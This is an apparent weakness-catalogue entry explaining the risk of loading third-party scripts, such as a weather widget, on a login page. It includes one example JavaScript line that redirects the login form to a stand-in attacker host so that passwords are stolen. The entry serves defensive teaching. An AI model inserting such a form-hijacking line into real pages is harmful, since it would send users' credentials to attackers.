Inclusion of Web Functionality from an Untrusted Source

Description

Demonstrations

The following examples help to illustrate the nature of this weakness and describe methods or techniques which can be used to mitigate the risk.

Note that the examples here are by no means exhaustive and any given weakness may have many subtle varieties, each of which may require different detection methods or runtime controls.

Example One

This login webpage includes a weather widget from an external website:

<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id ="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

See Also